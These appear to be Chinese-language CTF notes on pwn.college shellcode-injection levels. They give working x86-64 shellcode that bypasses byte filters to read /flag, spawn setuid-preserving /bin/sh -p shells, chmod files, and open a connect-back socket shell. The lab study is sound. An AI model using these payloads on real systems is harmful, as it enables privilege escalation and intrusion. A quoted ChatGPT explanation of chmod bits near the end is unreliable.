Shellcode Injection(√)

简介: Shellcode Injection(√)

Tips:可以使用 IDA 任意找一个 ELF 文件,通过修改指令来进行测试具体指令的 hex 字符

print(disasm(shellcode)) # 可以查看shellcode的字节码和汇编

把mov rdi,rcx改为mov edi,ecx,在给edi赋值时会将高32位全部设为0

context.terminal=['tmux','splitw','-h']  # 指定运行终端

0x3024           # 0$
0x68732f6e69622f      #  hs/nib/
0x67616C662F   # galf/

参数寄存器顺序:rdi,rsi,rdx,r10,r9,r8......

level 1 execve 或 orw

orw

参见sandboxing部分shellcode编写

xor rax, rax   #xor rax,rax是对rax的清零运算操作
xor rdi, rdi   #清空rdi寄存器的值
xor rsi, rsi   #清空rsi寄存器的值
xor rdx, rdx
mov rax, 2      #open调用号为2
mov rdi, 0x67616c662f #为galf/为/flag的相反  
#      0x67616c662f2f为/flag的ASCII码的十六进制
push rdi
mov rdi, rsp
syscall  

mov rdx, 0x100   #sys_read(3,file,0x100)
mov rsi, rdi
mov rdi, rax
mov rax, 0      #read调用号为0 ;           文件描述符0则表示 标准输入即外部输入,例如键盘
syscall

mov rdx,0x30
mov rdi, 1      #sys_write(1,file,0x30)
mov rax, 1      #write调用号为1;         文件描述符1表示标准输出,指的是屏幕
syscall
# 下面这个没成功
shell = shellcraft.open("/flag")
shell += shellcraft.read(0,elf.bss()+0x100,1024)
shell += shellcraft.write(1,elf.bss()+0x100,1024)

# 这个可以
shellcode =  asm(shellcraft.readfile("/flag", 1))
shellcode = shellcraft.cat("/flag")  # 借鉴一下
# 实质是调用了open,sendfile,参见末尾链接查看shellcreaf手册

⭐execve

execve(/bin/sh,0,0) 执行后没有得到 root shell 而只是得到了普通 shell

因为,shell 的保护机制:/bin/sh符号链接指向的是/bin/dash,dash和bash都有防御机制,当它们发现自己是在setuid进程中被执行的时候,就会euid为进程的真实用户id,放弃特权

  • 相关概念
  • eUID(Effective User ID):表示正在执行命令的进程的有效用户ID。
  • rUID(Real User ID):表示正在执行命令的进程的真实用户ID。

一般这俩ID一样。但是如果程序是 suid 程序那么 ruid 保持原样, euid 是 root,程序以 root 权限执行。

在这种情况下,如果/bin/sh被设置为SUID权限(suid标志被设置,即eUID为0但rUID不为0),它将降低权限到rUID。也就是说,eUID将被设置为rUID的值,而rUID不为0。

为了禁用这种行为,可以使用sh -p命令来执行/bin/sh。-p选项将使/bin/sh保持SUID权限,而不会降低为rUID

综上有俩方式:

  • 执行/bin/sh -p 参见(二)笔记
  • 执行/bin/sh 之前将 euid 置为 0
可以直接用shellcraft.execve('sh',['sh','-p'])来生成

/* execve(path='/bin///sh', argv=['sh','-p'], envp=0) */
                                         /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
                                            /* push argument array ['sh\x00', '-p\x00'] */
                                            /* push b'sh\x00-p\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x702d006873
    xor [rsp], rax
    xor esi, esi                                    /* 0 */
    push rsi                                       /* null terminate */
    push 0xb
    pop rsi
    add rsi, rsp
    push rsi                            /* '-p\x00' */
    push 0x10
    pop rsi
    add rsi, rsp
    push rsi                     /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx                  /* 0 */
                                          /* call execve() */
    push SYS_execve             /* 0x3b */
    pop rax
    syscall
shellcode = """
    xor    rdi, rdi              # 设置 rdi 寄存器为 0,表示设置当前进程的有效用户 ID
    mov    eax, 0x69             # 将系统调用号 105 (setuid) 放入 eax 寄存器
    syscall                      # 执行系统调用,设置当前进程的有效用户 ID 为 0(root)
    
    mov    rax, 59               # 设置 rax 寄存器为 59,表示系统调用 execve
    lea    rdi, [rip+binsh]      # 将 /bin/sh 字符串地址放入 rdi 寄存器
    xor    rsi, rsi              # 将 rsi 寄存器置零
    xor    rdx, rdx              # 将 rdx 寄存器置零
    syscall                      # 执行系统调用,启动 /bin/sh

binsh:
    .string "/bin/sh"
"""
shellcode = asm(shellcode)

level 2 nop滑栈

payload = b"\x90" * 0x800 + asm(shellcraft.readfile("/flag", 1))

level 3 过滤空字节 NULL (‘\x00’)

for (int i = 0; i < shellcode_size; i++)
    if (!((uint8_t*)shellcode)[i])
    {
        printf("Failed filter at byte %d!\n", i);
        exit(1);
    }
sh = asm(shellcraft.readfile("/flag", 1)) # 或者 shellcraft.cat('/flag')
0:   6a 01                   push   0x1
   2:   41 58                   pop    r8
   4:   48 b8 01 01 01 01 01 01 01 01   movabs rax, 0x101010101010101
   e:   50                      push   rax
   f:   48 b8 2e 67 6d 60 66 01 01 01   movabs rax, 0x1010166606d672e
  19:   48 31 04 24             xor    QWORD PTR [rsp], rax
  1d:   6a 02                   push   0x2
  1f:   58                      pop    rax
  20:   48 89 e7                mov    rdi, rsp
  23:   31 f6                   xor    esi, esi
  25:   0f 05                   syscall 
  27:   48 89 c3                mov    rbx, rax
  2a:   48 89 c7                mov    rdi, rax
  2d:   6a 05                   push   0x5
  2f:   58                      pop    rax             #fstat系统调用
  
# int fstat(int filedes, struct stat *buf);   通过文件描述符,获取文件对应的属性。

  30:   48 89 e6                mov    rsi, rsp
  33:   0f 05                   syscall 
  35:   48 83 c4 30             add    rsp, 0x30
  39:   48 8b 14 24             mov    rdx, QWORD PTR [rsp]
  3d:   49 89 d2                mov    r10, rdx
  40:   6a 28                   push   0x28
  42:   58                      pop    rax
  43:   4c 89 c7                mov    rdi, r8
  46:   48 89 de                mov    rsi, rbx
  49:   99                      cdq    
  4a:   0f 05                   syscall
# 使用 pushstr 压入 "/flag" 字符串而不包含 NULL 字节
shellcode = shellcraft.pushstr('/flag')
# 打开文件
shellcode += shellcraft.open('rsp', 0, 0)  # 'rsp' 指向刚推送的字符串
# 读取文件内容
shellcode += shellcraft.read('rax', 'rsp', 1024)  # 假设我们读取最多1024字节
# 将文件内容写到标准输出
shellcode += shellcraft.write(1, 'rsp', 'rax')

shellcode += shellcraft.exit(0)

# 编译 shellcode
sh = asm(shellcode)
   0:   48 b8 01 01 01 01 01 01 01 01   movabs rax, 0x101010101010101
   a:   50                      push   rax
   b:   48 b8 2e 67 6d 60 66 01 01 01   movabs rax, 0x1010166606d672e
  15:   48 31 04 24             xor    QWORD PTR [rsp], rax
  19:   48 89 e7                mov    rdi, rsp
  1c:   31 d2                   xor    edx, edx
  1e:   31 f6                   xor    esi, esi
  20:   6a 02                   push   0x2
  22:   58                      pop    rax
  23:   0f 05                   syscall 
  25:   48 89 c7                mov    rdi, rax
  28:   31 c0                   xor    eax, eax
  2a:   31 d2                   xor    edx, edx
  2c:   b6 04                   mov    dh, 0x4
  2e:   48 89 e6                mov    rsi, rsp
  31:   0f 05                   syscall 
  33:   6a 01                   push   0x1
  35:   5f                      pop    rdi
  36:   48 89 c2                mov    rdx, rax
  39:   48 89 e6                mov    rsi, rsp
  3c:   6a 01                   push   0x1
  3e:   58                      pop    rax
  3f:   0f 05                   syscall 
  41:   31 ff                   xor    edi, edi
  43:   6a 3c                   push   0x3c
  45:   58                      pop    rax
  46:   0f 05                   syscall

level 4 过滤字符H (‘\x48’)

但是对64 位寄存器进行操作,或者处理QWORD 这种 64 位数据,就会在指令级别加上神奇的 REX,与之对应的,导致\x48的出现。

  • 由于常规指令对16位寄存器和QWORD数据操作会在首部自动添加/x48,因此
  • 对 16 位寄存器 rax 等只能使用pop,push操作
  • 对 8 位寄存器 eax 等,无限制
    for (int i = 0; i < shellcode_size; i++)
        if (((uint8_t*)shellcode_mem)[i] == 'H')
        {
            printf("Failed filter at byte %d!\n", i);
            exit(1);
        }

orw 的 pop,push 实现【64 位寄存器】

x64 系统中 push,pop 对应寄存器只能是 64 位。x86 同理

分析代码发现最后使用了** rdx 寄存器保存 shellcode **数据。

shellcode 执行之前寄存器状态如下:

shellcode = asm('''
        push 0
        pop rsi
        push 0x67616C662F   # galf/  但是只能压入flag四字节【即galf】,不能用push完成路径赋值
                              #  可以参见call指令执行时候会把下一个指令压入栈中保存的特性,然后pop完成传参
        pop rdi
        push 0
        pop rdx
        mov eax, 0x02
        syscall

        mov esi, eax
        mov edx, 0
        push 0
        pop rdx
        push 1000
        pop r10
        mov eax, 0x28
        syscall
''')
shellcode = asm('''
        jmp two
    one:
        pop rdi
        push 0
        pop rsi
        push 0
        pop rdx
        push 0x02
        pop rax
        syscall

        push rax
        pop rsi
        push 0   
        pop rdx
        push 1 
        pop rdi
        push 0x100
        pop r10
        push 0x28
        pop rax
        syscall
        jmp end
    two:
        call one
        .string "/flag" 
    end:            
''')
# 注意one那里要跳出来到end,否则死循环.....

*orw—使用 32 位寄存器,不出现 64 位寄存器

由于只对 64 位寄存器后 32 位进行操作,而调用时候会以 64 位寄存器整体作为参数,因此获取 shellcode 执行之前寄存器状态很有必要!!!

无论使用常规 orw 还是编形,这种方法都比较困难,暂时不讨论了


        jmp two
    one:
        pop rdi
        push 0
        pop rsi
        push 0
        pop rdx
        mov eax,0x2
        syscall

        push rax
        pop rsi
        push 1
        pop rdi
        push 0x100
        pop r10
        mov eax,0x28
        syscall
        jmp end
    two:
        call one
        .string "/flag" 
    end:

⭐execve()—使用pop,push构造参数数组

execve(/bin/sh,[/bin/sh -p],0) 大致是这样构造的 ;参见(二)笔记

    jmp two
one:
    pop rdi // get file path,the 1st arg

    push 0x0  //end of -p
    push 0x702d // -p
    push rsp   // addr of -p
    pop rdx // rdx <- addr
    
    push 0x0  //end of argv
    push rdx  //addr of -p
    push rdi  //addr of /bin/sh
    push rsp  //addr of argv
    pop rsi   //rsi <- addr of argv,the 2st arg
    
    push 0x0  //envp
    pop rdx   //rdx <- 0
    push 0x3b 
    pop rax   //rax <- 0x3b
    
    syscall
two:
    call one
    .string "/bin/bash"

⭐level 5 禁用 syscall、sysenter、int

Tips:syscall 效果 将系统调用 syscall 系统调用号放入寄存器 + call / jmp xxx【寄存器】,但是很难再回去【即仅能调用一次】

    for (int i = 0; i < shellcode_size; i++)
    {
        uint16_t *scw = (uint16_t *)((uint8_t*)shellcode_mem + i);
        if (*scw == 0x80cd || *scw == 0x340f || *scw == 0x050f)     // 0F 05——syscall
        {                             // 0F 34——sysenter
            printf("Failed filter at byte %d!\n", i);       // CD 80——int 128
            exit(1);
        }
    }

动态修改字节

mov rdi,0x67616C662F2E
xor rsi,rsi
xor rdx,rdx
mov rax,0x2
push 0x50e
inc qword ptr[rsp]
jmp rsp         # 由于jmp跳入syscall后无法返回【由于进入syscall所在内存后,接下来的都是代码Hex0】    
            # ,因此orw【open+sendfile】均不可行.... 暂时只能使用execve调用,然后使用-p参数绕过限制【见下】
mov rdi, 1               
mov rsi, rax
mov rdx, 0
mov r10, 100
mov rax, 0x28
push 0x50e
inc qword ptr[rsp]
jmp rsp

push,pop 实现( /bin/bash -p)

sh = asm('''
    jmp two
one:
    pop rdi

    push 0x0
    push 0x702d                            # "-p" 参数 
    push rsp
    pop rdx
    
    push 0x0
    push rdx
    push rdi
    push rsp
    pop rsi
    
    push 0x0
    pop rdx
    push 0x3b
    pop rax
    
    push 0x050e
    inc qword ptr [rsp]
    jmp rsp
    nop
two:
    call one
    .string "/bin/bash"
''')
# print(bytes(shellcode)) #shellcode转为字节流,asm曾经用不了....

♥简化版 execve(/bin/bash -p)

execve(path=‘/bin/bash’, argv=[‘/bin/bash’,‘-p’], envp=0)

sh = asm('''
    push 0
    push 0x702d
    mov r9,rsp
    push 0
    lea rdi,[rip+bin]   
    push r9
    push rdi
    mov rsi,rsp
    mov rdx,0x0
    
    mov rax,0x3b
    push 0x050e
    inc qword ptr [rsp]
    jmp rsp
    nop
bin:
  .string "/bin/bash"
''')

*push,pop 实现( /bin///sh -p)

# execve(path='/bin///sh', argv=['sh','-p'], envp=0) 
    # push b'/bin///sh\x00' 
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    # push argument array ['sh\x00', '-p\x00'] 
    # push b'sh\x00-p\x00' 
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x702d006873
    xor [rsp], rax
    xor esi, esi 
    push rsi  # /* null terminate */
    push 0xb
    pop rsi
    add rsi, rsp
    push rsi     # '-p\x00' 
    push 0x10
    pop rsi
    add rsi, rsp
    push rsi #  'sh\x00' 
    mov rsi, rsp
    xor edx, edx #  0 
                        # call execve() 
    push 0x3b # 0x3b 
    pop rax
    #           syscall
    push 0x050e
    inc qword ptr [rsp]
    jmp rsp
    nop

其他方法【待补充…】

参考 level 6 给的限制,level 5 大概可以调用写入权限。不过可能有点麻烦…

level 6 在上题基础上 shellcode前4MB区域无写入权限

puts("Removing write permissions from first 4096 bytes of shellcode.\n");
assert(mprotect(shellcode_mem, 4096, PROT_READ|PROT_EXEC) == 0);

对寄存器操作实现 execve(/bin/bash -p)

shellcode = b'\xeb"_j\x00h-p\x00\x00TZj\x00RWT^j\x00Zj;Xh\x0e\x05\x00\x00H\xff\x04$\xff\xe4\x90\xe8\xd9\xff\xff\xff/bin/bash\x00'

其他思路【待补充…】

level 7 关闭标准流

shellcode 正常执行,但是涉及到标准输入/标准输出等将无法成功. 【交互模式强制被关闭,直接获取 shell 或者

orw 将 flag 读到终端 均不可行】

  • 方法一:由于本来就有一个 hacker 权限的 shell,可以通过 shellcode 修改文件权限,然后直接 cat。
puts("This challenge is about to close stdin, which means that it will be harder to pass in a stage-2 shellcode. You will need");
puts("to figure an alternate solution (such as unpacking shellcode in memory) to get past complex filters.\n");
assert(fclose(stdin) == 0);

puts("This challenge is about to close stderr, which means that you will not be able to get use file descriptor 2 for output.\n");
assert(fclose(stderr) == 0);

puts("This challenge is about to close stdout, which means that you will not be able to get use file descriptor 1 for output.");
puts("You will see no further output, and will need to figure out an alternate way of communicating data back to yourself.\n");
assert(fclose(stdout) == 0);

调用 chmod 修改 /flag 文件权限

int chmod(const char *path, mode_t mode);
sh = asm("""
    lea rdi,[rip+flag]       # 
    mov rsi, 0777
    mov rax,90
    syscall
flag:
    .string "/flag"
""")

# -rwxrwxrwx 1 root root 57 Aug  6 07:52 /flag
sh = asm(shellcraft.chmod('/flag',0o4))   
# 直接修改/flag文件权限为 -------r-- 1 root root 57 Aug  6 07:52 /flag

*socket 连接 execve 调用的 shell

/* open new socket */
    /* open new socket */
    /* call socket('AF_INET', SOCK_STREAM (1), 0) */
    push 0x29 /* sys_socket */
    pop rax
    push 2 /* AF_INET */
    pop rdi
    push 1 /* SOCK_STREAM */
    pop rsi
    cdq /* rdx=0 */
    syscall
    /* Put socket into rbp */
    mov rbp, rax
    /* Create address structure on stack */
    /* push b'\x02\x00"\xb8\x7f\x00\x00\x01' */
    mov rax, 0x201010101010101
    push rax
    mov rax, 0x201010101010101 ^ 0x100007fb8220002
    xor [rsp], rax
    /* Connect the socket */
    /* call connect('rbp', 'rsp', 0x10) */
    push 0x2a /* SYS_connect */
    pop rax
    mov rdi, rbp
    push 0x10
    pop rdx
    mov rsi, rsp
    syscall
    /* dup() file descriptor rbp into stdin/stdout/stderr */
dup_3:
    /* moving rbp into rbp, but this is a no-op */
    push 3
loop_4:
    pop rsi
    dec rsi
    js after_5
    push rsi
    /* call dup2('rbp', 'rsi') */
    push 0x21 /* SYS_dup2 */
    pop rax
    mov rdi, rbp
    syscall
    jmp loop_4
after_5:
    /* execve(path='/bin///sh', argv=['sh','-p'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00', '-p\x00'] */
    /* push b'sh\x00-p\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x702d006873
    xor [rsp], rax
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 0xb
    pop rsi
    add rsi, rsp
    push rsi /* '-p\x00' */
    push 0x10
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push 0x3b /* SYS_execve */
    pop rax
    syscall

♥♥orw 实现复制 flag 到某个文件

sh1 = b''
sh1 += asm(shellcraft.open('/flag',0,0))          # 打开 /flag 文件
sh1 += asm(shellcraft.open('/home/hacker/Desktop/FLAG',1,0))  
# 打开FLAG文件。如果需要手写,这里可以简化,修改一下工作目录即可=====> open('f',1,0)
sh1 += asm(shellcraft.sendfile(1,0,0,1024))
sh1 = b''
sh1 += asm(shellcraft.open('/flag',0,0)) # 打开 /flag 文件进行读取
sh1 += asm('mov rdi,rax') # 将文件描述符移动到 rdi 以进行后续读/写

# 从 /flag 读取到 .bss 部分
sh1 += asm(shellcraft.read('rax',elf.bss()+0x100,1024))

sh1 += asm(shellcraft.open('/home/hacker/Desktop/FLAG',1,0)) # 打开 FLAG 文件进行写入
sh1 += asm('mov rsi,rax') # 将文件描述符移动到 rsi 进行写入

# 从 .bss 部分写入 FLAG 文件
sh1 += asm(shellcraft.write('rsi',elf.bss()+0x100,1024))

level 8 18 字节 shellcode,[ 移除写入权限 ]

短字节 shellcode 参见(二)笔记

Tips:使用 mov 指令通常会比使用 pop push 指令得到的 shellcode 长,但是 pop,push 对于操作数据长度有限制

同时需要注意 系统调用函数的参数 是 立即数/字符串 还是 地址映射的路径【一级映射,需要 pop,push 或者 mov xxx,rsp 操作】效果如:rbx:0x7fff…——> xxxxxx(/bin/sh)


shellcode_size = read(0, shellcode_mem, 0x12);
assert(shellcode_size > 0);

puts("Removing write permissions from first 4096 bytes of shellcode.\n");
assert(mprotect(shellcode_mem, 4096, PROT_READ|PROT_EXEC) == 0);

根据程序状态编写短 shellcode

由于 pwn.college 中 execve 执行获取 shell 需要-p 参数,会使得 shellcode 变长。

为了适应常规只需要得到 shell 就可以有 root 权限,以本地调试结果为例,


分析

先决条件:/bin/sh 软连接到/sh

建立软连接: ln -s /bin/sh /sh

程序寄存器状态图:

getshell 结果图


bypass

sh = asm(''' 
push 0x68732f
mov rdi,rsp
xor rsi,rsi
cdq
mov al,0x3b             # 根据程序状态已达最短长度,但是有限制:execve(/bin/sh,0,0)必须能被execve(/sh,0,0)代替
syscall
''')      # 如果不能使用execve(/sh,0,0),那么由于/bin/sh超过了4字节,不能使用pop代替mov,而lea生成的则会更长
#          因此其他方法都只会更长

chmod 软链接修改/flag 权限

建立软连接 /flag—> /home/hacker/Desktop/f:

ln -s /flag /home/hacker/Desktop/f

注意由于 chmod 文件名参数是 “f”,因此脚本需要在与 f 文件相同的目录下执行

sh = asm('''           # chmod('f',0x4)s
push 0x66
mov rdi,rsp
push 4
pop rsi
mov al,0x5a           # 这里可以使用al寄存器,rax高位全零
syscall
''')
# 该shellcode达到最短:len = 12bytes

利用 execve 执行脚本

将 cat /flag 写入脚本,编写 shellcode 利用 execve 执行脚本,获得 flag

#!/bin/bash -p
id
cat /flag
/* execve(path='c', argv=0, envp=0) */
    /* push b'c\x00' */
    push 0x63
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall
    push 0x63
    mov rdi, rsp
    xor esi, esi
    cdq
    mov al,0x3b
    syscall

其他方法【待补充…】

level 9 对shellcode 执行之前修改部分数据

for (int i = 0; i < shellcode_size; i++)
{
    if ((i / 10) % 2 == 1)             // (i / 10) ==   1,3,5,7,9.......,===> i = 1x,3x,5x,7x,9x......
    {
        ((unsigned char *) shellcode_mem)[i] = '\xcc';   //int3中断指令
    }
}
    push 0x66       # 2
    mov rdi,rsp      # 3
    push 4          # 2
    jmp one
    nop           # 中间任意填充即可
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
one:
    pop rsi     # 2
    mov al,0x5a         # 2
    syscall          # 2
Address      |                      Bytes                    |          Instructions
------------------------------------------------------------------------------------------
0x0000000016ec6000 | 6a 41                                         | push 0x41
0x0000000016ec6002 | 48 89 e7                                      | mov rdi, rsp
0x0000000016ec6005 | 6a 04                                         | push 4
0x0000000016ec6007 | eb 0b                                         | jmp 0x16ec6014
0x0000000016ec6009 | 90                                            | nop 
0x0000000016ec600a | cc                                            | int3 
0x0000000016ec600b | cc                                            | int3 
0x0000000016ec600c | cc                                            | int3 
0x0000000016ec600d | cc                                            | int3 
0x0000000016ec600e | cc                                            | int3 
0x0000000016ec600f | cc                                            | int3 
0x0000000016ec6010 | cc                                            | int3 
0x0000000016ec6011 | cc                                            | int3 
0x0000000016ec6012 | cc                                            | int3 
0x0000000016ec6013 | cc                                            | int3 
0x0000000016ec6014 | 5e                                            | pop rsi
0x0000000016ec6015 | b0 5a                                         | mov al, 0x5a
0x0000000016ec6017 | 0f 05                                         | syscall 
shellcode = asm("""
    /*  chmod('A',777) */
    push 0x41
    mov rdi, rsp
    push 777
    pop rsi
    jmp continue
    .rept 10
    nop
    .endr
continue:
    push 0x5a
    pop rax
    syscall
""")

evel 10 对 shellcode 字节进行排序

题目源码如下:

    uint64_t *input = shellcode_mem;
    int sort_max = shellcode_size / sizeof(uint64_t) - 1;   
// 这里有个漏洞,sizeof(uint64_t)是8字节。
// 也就是说shellcode小于8字节时候,sort_max=-1 ; 8~16字节时候,sort_max=0,第一层for循环条件不满足,将不会进行排序
// 16~24字节时候,由于第二层for循环不满足,因此也不会进行排序
// 24~32字节时候,会进行一次排序,
    for (int i = 0; i < sort_max; i++)
        for (int j = 0; j < sort_max-i-1; j++)
            if (input[j] > input[j+1])
            {
                uint64_t x = input[j];
                uint64_t y = input[j+1];
                input[j] = y;
                input[j+1] = x;
            }

解析:程序会将输入的的 shellcode 按照 8 字节分块,然后冒泡排序比较的目标是每一块首个字节的大小【遵循大字节块放前面原则】

由于本题源码中 for 循环内 j 的上界多减了一次 1,因此使得绕过排序的最长 shellcode 字节数达到了 23 字节。


编写短 shellcode 绕过排序逻辑

sh = asm('''
push 0x66
mov rdi,rsp
push 4
pop rsi
mov al,0x5a      
syscall
''')
sh = asm('''
push 0x66
mov rdi,rsp
push 4
pop rsi
mov rax,0x5a      
syscall
''')
sh = asm('''
    mov rbx,0x67616c662f
    push rbx
    mov rdi,rsp
    push 0x0
    pop rsi
    mov rax,0x5a
    syscall
''')

⭐执行排序情况下的情况分析

修改了一下源码中 j 的上界,将绕过排序的最短 shellcode 长度设置为了 15 字节。【不过 改不改 不影响,主要是探究排序逻辑】

    uint64_t *input = shellcode_mem;
    int sort_max = shellcode_size / sizeof(uint64_t) - 1;   
    for (int i = 0; i < sort_max; i++)
        for (int j = 0; j < sort_max-i; j++)
            if (input[j] > input[j+1])
            {
                uint64_t x = input[j];
                uint64_t y = input[j+1];
                input[j] = y;
                input[j+1] = x;
            }


上图中shellcode长度是26bytes,分为4块。每块首字节分别为 0x48,0x00,0x5e,0x0f
由于 26 / 8 - 1 = 2,故i循环执行2次,j循环:1.j = 0,j = 1      2. j=0 
块0,1比较:    不交换      ;块1,2比较:交换,1'=2 , 2'=1
块0,1'比较:交换,0'=1'=2 , 1''= 0     
因此最终块排序为:2,0,1,3对应图的中间部分。

具体bypass需要根据指令进行调整,达到shellcode正常执行的目的。

借用标准输入【待补充…】

level 11 在 level10 基础上关闭 stdin

短 shellcode 绕过排序

sh = asm('''
push 0x41
mov rdi,rsp
push 4
pop rsi
mov al,0x5a      
syscall
''')

其他方法【待补充…】

level 12 shellcode 中各个字节均不同

Tips:尽管使用相同的指令,但是最后的生成字节也可能不一样。如:

mov rax,rbx=====>48 89 D8

mov al,0x3 =====>B0 03



具体还与操作对象有关。

另外,只需要满足数据操作互相替换即可:mov、push、or、and、xor、inc,imult、div、shl、shr等等,基本都能替换。

    puts("This challenge requires that every byte in your shellcode is unique!\n");
    unsigned char present[256] = {0};
    for (int i = 0; i < shellcode_size; i++)
    {
        if (present[((uint8_t*)shellcode_mem)[i]])
        {
            printf("Failed filter at byte %d!\n", i);
            exit(1);
        }
        present[((uint8_t*)shellcode_mem)[i]] = 1;
    }

sil 代替 rsi

需要满足 rsi 高位全零。最少是高 32 位全 0

sh = asm('''
push 0x41
mov rdi,rsp
xor esi,esi    # 有时候可以不要,【len】min = 12bytes
mov sil,0x4
mov al,0x5a      
syscall
''')

其他技巧【待补充…】

level 13. 12字节shellcode 移除写入权限


puts("Reading 0xc bytes from stdin.\n");
shellcode_size = read(0, shellcode_mem, 0xc);
assert(shellcode_size > 0);

puts("Removing write permissions from first 4096 bytes of shellcode.\n");
assert(mprotect(shellcode_mem, 4096, PROT_READ|PROT_EXEC) == 0);

chmod 软链接方法

sh = asm('''
push 0x66
mov rdi,rsp
push 777
pop rsi
mov al,0x5a      
syscall
''')
# len = 12bytes
shellcode = asm("""
    push 0x41
    mov rdi, rsp
    mov sil, 0x4        # sil即寄存器rdi低位部分
    mov al, 0x5a
    syscall
""")

其他方法(待补充…)

(⭐♥) level 14. 6字节shellcode【局限性较大】

puts("Reading 0x6 bytes from stdin.\n");
shellcode_size = read(0, shellcode_mem, 0x6);
assert(shellcode_size > 0);

本题需要具体调试分析寄存器状态

查看 shellcode 执行前程序状态

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────── registers ────────────────────────────────────────────────
$rax   : 0x0               
$rbx   : 0x000055c16ef2c7e0  →  <__libc_csu_init+0> endbr64 
$rcx   : 0x00007fcc8aa41297  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x000000002d3f0000  →  0x0000616161616161 ("aaaaaa"?)
$rsp   : 0x00007ffe78f7ab70  →  0x00007ffe78f7ab96  →  0x27106ef2c2000000
$rbp   : 0x00007ffe78f7abb0  →  0x0000000000000000
$rsi   : 0x00007fcc8ab20723  →  0xb217e0000000000a ("\n"?)
$rdi   : 0x00007fcc8ab217e0  →  0x0000000000000000
$rip   : 0x000055c16ef2c7c1  →  <main+634> call rdx
$r8    : 0x16              
$r9    : 0x3               
$r10   : 0x000055c16ef2d105  →  0x7c20002020200020 (" "?)
$r11   : 0x246             
$r12   : 0x000055c16ef2c200  →  <_start+0> endbr64 
$r13   : 0x00007ffe78f7aca0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
────────────────────────── stack ───────────────────────────────────────────────────────────
0x00007ffe78f7ab70│+0x0000: 0x00007ffe78f7ab96  →  0x27106ef2c2000000    ← $rsp
0x00007ffe78f7ab78│+0x0008: 0x00007ffe78f7acb8  →  0x00007ffe78f7bf22  →  0x0000000000000000
0x00007ffe78f7ab80│+0x0010: 0x00007ffe78f7aca8  →  0x00007ffe78f7bf05  →  0x0000000000000000
0x00007ffe78f7ab88│+0x0018: 0x000000016ef2c7e0
0x00007ffe78f7ab90│+0x0020: 0x0000000000000000
0x00007ffe78f7ab98│+0x0028: 0x000027106ef2c200
0x00007ffe78f7aba0│+0x0030: 0x00007ffe78f7acb0  →  0x0000000000000000
0x00007ffe78f7aba8│+0x0038: 0x00007ffe78f7ada0  →  0x0000000000000000
────────────────────────────── code:x86:64 ────────────────────────────────────────────────
   0x55c16ef2c7b2 <main+619>       mov    rax, QWORD PTR [rip+0x287f]        # 0x55c16ef2f038 <shellcode>
   0x55c16ef2c7b9 <main+626>       mov    rdx, rax
   0x55c16ef2c7bc <main+629>       mov    eax, 0x0
 → 0x55c16ef2c7c1 <main+634>       call   rdx
   0x55c16ef2c7c3 <main+636>       lea    rdi, [rip+0xcda]        # 0x55c16ef2d4a4
   0x55c16ef2c7ca <main+643>       call   0x55c16ef2c130 <puts@plt>
   0x55c16ef2c7cf <main+648>       mov    eax, 0x0
   0x55c16ef2c7d4 <main+653>       leave  
   0x55c16ef2c7d5 <main+654>       ret    
───────────────────────────── arguments (guessed) ─────────────────────────────────────
*0x2d3f0000 (
   $rdi = 0x00007fcc8ab217e0 → 0x0000000000000000,
   $rsi = 0x00007fcc8ab20723 → 0xb217e0000000000a ("\n"?),
   $rdx = 0x000000002d3f0000 → 0x0000616161616161 ("aaaaaa"?)
)
───────────────────────────────── threads ────────────────────────────────────────────────
[#0] Id 1, Name: "babyshell_level", stopped 0x55c16ef2c7c1 in main (), reason: BREAKPOINT
────────────────────────────────── trace ────────────────────────────────────────────────
[#0] 0x55c16ef2c7c1 → main()
─────────────────────────────────────────────────────────────────────────────────────────
gef➤ 

bypass:利用 read 读入更长的 shellcode

sh = asm('''
  push rax
    pop rdi
    push rdx
    pop rsi
  syscall
''')    # 由于rdx作为地址,必然很大,因此可以直接作为read的字节数。仅需要将rsi也设置为该地址,rdi取0
p1 = asm('''
nop
nop
nop
nop
nop
nop
''')
 # 上面sh使用了6字节,由于再次read输入会从初始位置开始【上面设置了rsi = old_rdx】,
#                而rip在 +6 bytes地方,因此需要nop占位

p1 += asm('''
push 0x41
mov rdi,rsp
push 4
pop rsi
mov rax,0x5a      
syscall
''')

Tips: 将当前 rcx 复制给 rdi,直接调用 chmod

mov rdi,rcx
mov al,90 /* sys_chmod */
syscall

# 该shellcode长度为 7 bytes,不能bypass本level,仅提供一种新的缩短shellcode思路。
# 限制:rsi寄存器的值末N位转八进制需要具有读取权限(如:0o4)

chatgpt 解释参考:

如果在 chmod 调用中,rsi 寄存器的值是 0x2c988004,但权限显示为 0o4(即只读权限),这可能是因为以下原因:


  1. 掩码的有效权限位:在许多文件系统中,权限掩码是用来设置文件的权限,而不是直接覆盖。虽然 0x2c988004 是一个较大的值,但文件系统会根据实际文件的当前权限和提供的掩码进行合成。如果掩码中的某些位被忽略或文件系统将其限制在某些范围内,最终应用的权限可能是 0o4。
